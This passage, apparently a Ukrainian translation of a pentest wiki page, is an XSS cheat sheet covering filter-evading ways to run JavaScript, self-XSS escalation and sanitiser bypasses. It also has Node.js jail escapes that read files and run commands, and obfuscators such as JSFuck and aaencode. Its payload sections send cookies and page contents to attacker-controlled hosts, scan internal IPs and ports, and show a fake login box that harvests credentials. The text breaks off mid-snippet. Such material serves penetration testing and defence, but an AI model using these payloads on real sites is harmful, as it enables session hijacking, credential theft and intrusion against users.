- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Довільний виклик функції (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
Існує JS code, який використовує ненадійні дані, контрольовані атакуючим (наприклад, location.href). Атакуючий може зловживати цим, щоб виконати довільний JS-код.
Через обсяг пояснення DOM vulnerabilities він був перенесений на цю сторінку:
Там ви знайдете детальне пояснення того, що таке DOM vulnerabilities, як вони провокуються та як їх експлуатувати.
Також не забудьте, що в кінці згаданого поста можна знайти пояснення щодо DOM Clobbering attacks.
Ескалація Self-XSS
Cookie XSS
Якщо ви можете викликати XSS, надіславши payload всередині cookie, це зазвичай self-XSS. Однак якщо ви знайдете вразливий піддомен до XSS, ви можете зловживати цим XSS, щоб вставити cookie для всього домену, змусивши спрацювати cookie XSS у головному домені або інших піддоменах (тих, що вразливі до cookie XSS). Для цього можна використати cookie tossing attack:
Чудовий приклад зловживання цією технікою можна знайти в цьому записі в блозі.
Надсилання вашої сесії адміністратору
Можливо, користувач може поділитися своїм профілем з адміном, і якщо self XSS знаходиться в профілі користувача, а адмін його відкриє, він спровокує вразливість.
Session Mirroring
Якщо ви знайдете якийсь self XSS і веб-сторінка має session mirroring for administrators (наприклад, дозволяє клієнтам просити допомоги, і щоб адміну допомогти, він бачить те, що ви бачите у своїй сесії, але з його сесії), ви можете змусити адміністратора спровокувати ваш self XSS та вкрасти його cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Коли веб‑додаток використовує Emscripten/WASM, константні рядки (наприклад, HTML format stubs) розміщуються в записуваній лінійній пам’яті. Одне переповнення всередині WASM (наприклад, unchecked memcpy в шляху редагування) може пошкодити суміжні структури та перенаправити записи на ці константи. Перезапис шаблону, такого як “”, перетворює санітизований ввід у значення JavaScript-обробника і призводить до миттєвого DOM XSS під час рендерингу.
Перегляньте присвячену сторінку з workflow експлуатації, DevTools memory helpers та заходами захисту:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
Варто перевірити, чи reflected values відбуваються unicode normalized на сервері (або на клієнті) і зловживати цією можливістю для обходу захистів. Знайдіть приклад тут.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Через RoR mass assignment кавички вставляються в HTML і таким чином обмеження кавичок обходиться, після чого додаткові поля (onfocus) можуть бути додані всередині тега.\
Приклад форми (from this report), якщо ви надішлете payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Пара “Key”,“Value” буде виведена так:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Тоді буде вставлено атрибут onfocus і відбудеться XSS.
Спеціальні комбінації
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS with header injection in a 302 response
Якщо ви можете інжектувати заголовки в 302 Redirect response, можна спробувати змушувати браузер виконувати довільний JavaScript. Це не просто, оскільки сучасні браузери не інтерпретують тіло HTTP-відповіді, якщо статусний код відповіді — 302, тож просто XSS-пейлоад марний.
У this report та this one можна прочитати, як тестувати різні протоколи всередині заголовка Location і перевірити, чи якийсь з них дозволяє браузеру інспектувати та виконувати XSS-пейлоад всередині тіла.
Відомі протоколи: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
Якщо ви можете вказати callback, який javascript буде виконувати, обмежений лише цими символами. Read this section of this post щоб дізнатися, як зловживати цією поведінкою.
Valid <script> Content-Types to XSS
(From here) Якщо ви спробуєте завантажити скрипт з content-type, наприклад application/octet-stream, Chrome викине таку помилку:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Єдині Content-Typeи, які дозволяють Chrome виконувати завантажений скрипт, — це ті, що перелічені в const kSupportedJavascriptTypes у https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Типи скриптів для XSS
(З here) Отже, які типи можна вказати, щоб завантажити скрипт?
<script type="???"></script>
Відповідь:
- module (за замовчуванням, нічого пояснювати)
- webbundle: Web Bundles — це функція, яка дозволяє пакувати багато даних (HTML, CSS, JS…) разом у файл
.wbn.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Дозволяє покращити синтаксис import
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Ця поведінка була використана в this writeup щоб перенаправити бібліотеку на eval; зловживання цим може спричинити XSS.
- speculationrules: Ця функція в основному вирішує деякі проблеми, спричинені попереднім рендерингом. Працює вона так:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Веб Content-Types для XSS
(From here) Наступні Content-Types можуть виконувати XSS у всіх браузерах:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? не в списку, але, здається, я бачив це на CTF)
- application/rss+xml (вимкнено)
- application/atom+xml (вимкнено)
В інших браузерах інші Content-Types можуть бути використані для виконання довільного JS, див.: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Якщо сторінка повертає content-type text/xml, можливо вказати простір імен і виконати довільний JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Спеціальні шаблони заміни
Коли використовується щось на кшталт "some {{template}} data".replace("{{template}}", <user_input>), атакуючий може використати special string replacements щоб спробувати обійти деякі захисти: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to екранірувати JSON-рядок inside a script and execute arbitrary code.
Chrome Cache to XSS
XS Jails Escape
Якщо у вас є обмежений набір символів для використання, перегляньте ці інші дієві рішення для проблем XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Якщо everything is undefined перед виконанням ненадійного коду (як у this writeup), можна згенерувати корисні об’єкти “з нічого”, щоб зловживати виконанням довільного ненадійного коду:
- Використання import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Опосередкований доступ до
require
According to this модулі обгорнуті Node.js у функцію, ось так:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Отже, якщо з цього модуля ми можемо викликати іншу функцію, то з тієї функції можна використати arguments.callee.caller.arguments[1] щоб отримати доступ до require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Аналогічно до попереднього прикладу, можна використати обробники помилок для доступу до wrapper модуля і отримати require функцію:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Different obfuscations на одній сторінці: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Більш просунутий JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Поширені payloads для XSS
Кілька payloads в 1
Iframe Trap
Змусити користувача взаємодіяти зі сторінкою, не покидаючи iframe, і викрасти його дії (включно з інформацією, надісланою у forms):
Отримати Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
Ви не зможете отримати доступ до cookies з JavaScript, якщо прапорець HTTPOnly встановлено в cookie. Але тут є деякі способи обійти цей захист, якщо вам пощастить.
Викрадення вмісту сторінки
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Знайти внутрішні IP-адреси
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Сканер портів (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kороткий час вказує на порт, що відповідає Триваліший час вказує на відсутність відповіді.
Перегляньте список портів, заблокованих у Chrome here та у Firefox here.
Поле для запиту облікових даних
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Перехоплення автозаповнених паролів
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
